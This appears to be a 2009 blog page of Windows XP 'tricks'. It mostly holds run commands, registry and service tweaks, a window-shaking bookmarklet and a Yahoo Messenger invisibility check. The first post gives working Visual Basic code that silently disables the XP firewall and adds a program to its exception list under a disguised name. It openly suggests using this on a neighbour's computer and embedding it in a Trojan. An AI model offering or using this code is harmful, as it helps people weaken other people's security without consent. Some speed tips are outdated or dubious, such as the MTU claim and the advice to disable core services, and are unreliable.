Friday, September 25, 2009

Disable Windows Firewall using Visual Basic (windows security tricks..)

Need to disable the firewall of your neighbor ? And you have physical access to his computer ? Or just want to learn it for fun ? I required disabling the XP firewall for so reason and I was able to do it in one line of code using command prompt to enter registry values. Also, this code disables it,but it doesn't kill it.So that If the person notices, it can be turned back on (most prominent and common viruses today first disable the firewall,so he will not be surprised unless he is a plain dumb). While the following codes disable the firewalls,you can be creative if you can design a simple Trojan and embed this code in it. Experiment and learn.

Please note due to display constraints,the code here may not be displayed as in Visual Basic IDE,It will be wrapped up in several lines like the one given below..but you get the idea..

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""EnableFirewall"" /t REG_DWORD /d ""0"" /f", vbHide


Here is another piece of code that will do it. Instead of disabling it, it allows exceptions to the firewall, and adds a program as an exception.

Public Sub FirewallException(Path As String)

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""DoNotAllowExceptions"" /t REG_DWORD /d ""0"" /f", vbHide

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v """ & Path & """ /t REG_SZ /d """ & Path & ":*:Enabled:Windows Messanger"" /f", vbHide

End Sub

Put the above code into a module. To use, put this in your code to add itself to the exception list. You can call this code by using this code -

Call FirewallException(App.Path & "\" & App.EXEName & ".exe")


Funny Computer Trick...(internet browser tricks..)

1. Copy and paste the java script code to the address bar of your browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

2: Press enter and watch your window's "shaking it". You can change the value of i if you wish :-)

Run Commands In Windows XP..(windows command)

You can access all these programs by going through START>>RUN or Simply press Windows Key+R
  1. SQL Client Configuration - cliconfg

  2. System Configuration Editor - sysedit

  3. System Configuration Utility - msconfig

  4. System File Checker Utility (Scan Immediately)- sfc /scannow

  5. System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce

  6. System File Checker Utility (Scan On Every Boot) - sfc /scanboot

  7. System File Checker Utility (Return to Default Setting)- sfc /revert

  8. System File Checker Utility (Purge File Cache)- sfc /purgecache

  9. System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x

  1. System Information - msinfo32.

  2. Task Manager – taskmgr

  3. System Properties - sysdm.cpl

  4. Task Manager – taskmgr

  5. TCP Tester - tcptest

  6. Telnet Client - telnet

  7. Tweak UI (if installed) - tweakui

  8. User Account Management- nusrmgr.cpl

  9. Utility Manager - utilman

  10. Windows Address Book - wab

  11. Windows Address Book Import Utility - wabmig

  12. Windows Backup Utility (if installed)- ntbackup

  13. Windows Explorer - explorer

  14. Windows Firewall- firewall.cpl

  15. Windows Magnifier- magnify

  16. Windows Management Infrastructure - wmimgmt.msc

  17. Windows Media Player - wmplayer

  18. Windows Messenger - msmsgs

  19. Windows Picture Import Wizard (need camera connected)- wiaacmgr

  20. Windows System Security Tool – syskey

  21. Windows Update Launches - wupdmgr

  22. Windows Version (to show which version of windows)- winver

  23. Windows XP Tour Wizard - tourstart

  24. Wordpad - write

  25. Password Properties - password.cpl

  26. Performance Monitor - perfmon.msc

  27. Phone and Modem Options - telephon.cpl

  28. Phone Dialer - dialer

  29. Pinball Game - pinball

  30. Power Configuration - powercfg.cpl

  31. Printers and Faxes - control printers

  32. Printers Folder – printers

  33. Private Character Editor - eudcedit

  34. Quicktime (If Installed)- QuickTime.cpl

  35. Real Player (if installed)- realplay

  36. Regional Settings - intl.cpl

  37. Registry Editor - regedit

  38. Registry Editor - regedit32

  39. Remote Access Phonebook - rasphone

  40. Remote Desktop - mstsc

  41. Removable Storage - ntmsmgr.msc

  42. Removable Storage Operator Requests - ntmsoprq.msc

  43. Resultant Set of Policy (XP Prof) - rsop.msc

  44. Scanners and Cameras - sticpl.cpl

  45. Scheduled Tasks - control schedtasks

  46. Security Center - wscui.cpl

  47. Services - services.msc

  48. Shared Folders - fsmgmt.msc

  49. Shuts Down Windows - shutdown

  50. Sounds and Audio - mmsys.cpl

  51. Spider Solitare Card Game - spider

  52. Malicious Software Removal Tool - mrt

  53. Microsoft Access (if installed) - access.cpl

  54. Microsoft Chat - winchat

  55. Microsoft Excel (if installed) - excel

  56. Microsoft Frontpage (if installed)- frontpg

  57. Microsoft Movie Maker - moviemk

  58. Microsoft Paint - mspaint

  59. Microsoft Powerpoint (if installed)- powerpnt

  60. Microsoft Word (if installed)- winword

  61. Microsoft Syncronization Tool - mobsync

  62. Minesweeper Game - winmine

  63. Mouse Properties - control mouse

  64. Mouse Properties - main.cpl

  65. Nero (if installed)- nero

  66. Netmeeting - conf

  67. Network Connections - control netconnections

  68. Network Connections - ncpa.cpl

  69. Network Setup Wizard - netsetup.cpl

  70. Notepad - notepad

  71. Nview Desktop Manager (If Installed)- nvtuicpl.cpl

  72. Object Packager - packager

  73. ODBC Data Source Administrator- odbccp32.cpl

  74. On Screen Keyboard - osk

  75. Opens AC3 Filter (If Installed) - ac3filter.cpl

  76. Outlook Express - msimn

  77. Paint – pbrush

  78. Keyboard Properties - control keyboard

  79. IP Configuration (Display Connection Configuration) - ipconfi/all

  80. IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns

  81. IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns

  82. IP Configuration (Release All Connections)- ipconfig /release

  83. IP Configuration (Renew All Connections)- ipconfig /renew

  84. IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns

  85. IP Configuration (Display DHCP Class ID)- ipconfig/showclassid

  86. IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid

  87. Java Control Panel (If Installed)- jpicpl32.cpl

  88. Java Control Panel (If Installed)- javaws

  89. Local Security Settings - secpol.msc

  90. Local Users and Groups - lusrmgr.msc

  91. Logs You Out Of Windows - logoff.....

  92. Accessibility Controls - access.cpl

  93. Accessibility Wizard - accwiz

  94. Add Hardware - Wizardhdwwiz.cpl

  95. Add/Remove Programs - appwiz.cpl

  96. Administrative Tools control - admintools

  97. Adobe Acrobat (if installed) - acrobat

  98. Adobe Designer (if installed)- acrodist

  99. Adobe Distiller (if installed)- acrodist

  100. Adobe ImageReady (if installed)- imageready

  101. Adobe Photoshop (if installed)- photoshop

  102. Automatic Updates - wuaucpl.cpl

  103. Bluetooth Transfer Wizard – fsquirt

  104. Calculator - calc

  105. Certificate Manager - certmgr.msc

  106. Character Map - charmap

  107. Check Disk Utility - chkdsk

  108. Clipboard Viewer - clipbrd

  109. Command Prompt - cmd

  110. Component Services - dcomcnfg

  111. Computer Management - compmgmt.msc

  112. Control Panel - control

  113. Date and Time Properties - timedate.cpl

  114. DDE Shares - ddeshare

  115. Device Manager - devmgmt.msc

  116. Direct X Control Panel (If Installed)- directx.cpl

  117. Direct X Troubleshooter- dxdiag

  118. Disk Cleanup Utility- cleanmgr

  119. Disk Defragment- dfrg.msc

  120. Disk Management- diskmgmt.msc

  121. Disk Partition Manager- diskpart

  122. Display Properties- control desktop

  123. Display Properties- desk.cpl

  124. Display Properties (w/Appearance Tab Preselected)- control color

  125. Dr. Watson System Troubleshooting Utility- drwtsn32

  126. Driver Verifier Utility- verifier

  127. Event Viewer- eventvwr.msc

  128. Files and Settings Transfer Tool- migwiz

  129. File Signature Verification Tool- sigverif

  130. Findfast- findfast.cpl

  131. Firefox (if installed)- firefox

  132. Folders Properties- control folders

  133. Fonts- control fonts

  134. Fonts Folder- fonts

  135. Free Cell Card Game- freecell

  136. Game Controllers- joy.cpl

  137. Group Policy Editor (XP Prof)- gpedit.msc

  138. Hearts Card Game- mshearts

  139. Help and Support- helpctr

  140. HyperTerminal- hypertrm

  141. Iexpress Wizard- iexpress

  142. Indexing Service- ciadv.msc

  143. Internet Connection Wizard- icwconn1

  144. Internet Explorer- iexplore

  145. Internet Setup Wizard- inetwiz

  146. Internet Properties- inetcpl.cpl


Hacking Windows SEND TO MENU..

How often do you copy songs from a CD? Or some photos from a CD?

What do you do? You select the required files and do a CTRL –C. Open the destination folder and do a CTRL-V. Here is something you can benefit time from. Customize your SEND TO MENU.

This sounds simple and you can do it in less than sixty seconds.
You can create your own BASKET.

First you’ll need access to hidden files. So change your view settings to make all hidden files visible.
1. Tools -> folder options -> view (tab) and select the show hidden files and folders.
go to parent drive:/documents and settings/(user name)/send to

2. Open up my computer and locate your most used folders.

3. Create a shortcut of the most used folders in SEND TO FOLDER.You can do this in a number of ways.

4. Right click -> send to desktop(create shortcut) and move the shortcut from the desktop to the SEND TO FOLDER

5. Copy the most used folder and go to SEND TO FOLDER and right click -> paste shortcut.

Also remember to rename the shortcuts to send to videos or send to potos. We don’t need confusion when we use the same later.

<<<<<<>>>>>>

Turn off all system beeps..

If you want to turn off all system beeps (like the ones that go through your computers' internal speaker>>

Start>>Run>> type "Regedit" (withount " ") then change following values..

Go to HKEY_CURRENT_USER\Control Panel\Sound

Edit the key Beep and give it a value of No

Windows XP Shutdown and Power Off Tip..

On some computers, by default, Windows XP doesn't power off the computer when you tell it to shut down. However, if your computer is relatively new, it can probably by shut completely off by WinXP. To configure your computer for this behavior, simply open the Control Panel, open Performance and Maintenance, then Power Options. On the APM tab, check next to "Enable Advanced Power Management support," then click OK. The next time you choose "Shut Down" from the Start Menu, your computer should shut down completely and then power off.

Make Your Windows Fast As Never Before..

Disable CD Autorun
( WinXP PRO Only)

1) Click Start, Run and enter GPEDIT.MSC

2) Go to Computer Configuration, Administrative Templates, System.

3) Locate the entry for Turn autoplay off and modify it as you desire.


Speed Up Browsing
When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d

Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry.


DISABLE INDEXING SERVICES

Indexing Services is a small little program that uses large amounts of RAM and can often make a computer endlessly loud and noisy. This system process indexes and updates lists of all the files that are on your computer. It does this so that when you do a search for something on your computer, it will search faster by scanning the index lists. If you don't search your computer often, or even if you do search often, this system service is completely unnecessary. To disable do the following:

1. Go to Start
2. Click Settings
3. Click Control Panel
4. Double-click Add/Remove Programs
5. Click the Add/Remove Window Components
6. Uncheck the Indexing services
7. Click Next


OPTIMISE DISPLAY SETTINGS

Windows XP can look sexy but displaying all the visual items can waste system resources. To optimize>

1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the
desktop
- Use visual styles on windows and buttons


SPEEDUP FOLDER BROWSING


You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer. To fix this and to increase browsing significantly:

1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer


DISABLE UNNECESSARY SERVICES

Because Windows XP has to be all things to all people it has many services running that take up system resources that you will never need. Below is a list of services that can be disabled on most machines:

Alerter
Clipbook
Computer Browser
Distributed Link Tracking Client
Fast User Switching
Help and Support - (If you use Windows Help and Support leave this enabled)
Human Interface Access Devices
Indexing Service
IPSEC Services
Messenger
Netmeeting Remote Desktop Sharing (disabled for extra security)
Portable Media Serial Number
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Remote Registry Service
Secondary Logon
Routing &
Remote Access (disabled for extra security)
Server
SSDP Discovery Service - (Unplug n' Pray will disable this)
Telnet
TCP/IP NetBIOS Helper
Upload Manager
Universal Plug and Play Device Host
Windows Time
Wireless Zero Configuration (Do not disable if you use a wireless network)
Workstation
To disable these services:

Go to Start and then Run and type "services.msc"
Doubleclick on the service you want to change
Change the startup type to 'Disable"



Find who is Invisible on Yahoo messenger ..(Yahoo messenger tricks)

Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone. There is this small trick that you can use to find out what the truth is.

1. Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.

2. Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle. After loading the Doodle imvironment there can be two possibilities

i. If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:


ii. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below. So you know that the user is online.


How can Increase the speed of your internet connection without a new modem..

As more and more people get quick connections to the internet, such as cable or ADSL, it becomes apparent to the user of a simple dial-up modem that the World Wide Web can quickly turn into the World Wide Wait. Here a trick that can help speed up your current modem without shelling out the big bucks.

There is a setting located in your windows registry called the Maximum Transfer Unit (MTU). This determines the size of the packets of data sent between your and your server. In Windows 95, this setting is has a value of 1,500 bytes when the actual size of internet packets is 1,000 bytes. This can sometimes slow things down. To remedy the situation, simply follow these steps>

1.
In the registry editor (Start > Run > regedit.exe), navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans. In the NetTrans folder you should find another folder named "000x" in which x represents a fourth digit. Right-click on the "000x" folder and select New and StringValue. Rename the item that appears in the panel on the right side to MaxMTU, then double-click it to bring up the Edit String box and give it a velue of 1002.
2.
Remember to keep playing with the MaxMTU value until you feel that your internet connection has greatly sped up. Some people report huge speed gains using this tricks, while others hardly notice a difference. In any case, it's definetly worth a try.

Folder Options Missing..(WinXp) (HOW TO FIX THIS..???)

1. Open Run and then type "gpedit.msc".
2. Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
3. Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"
Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.
4.
I hopes that you will find the option after restarting windows.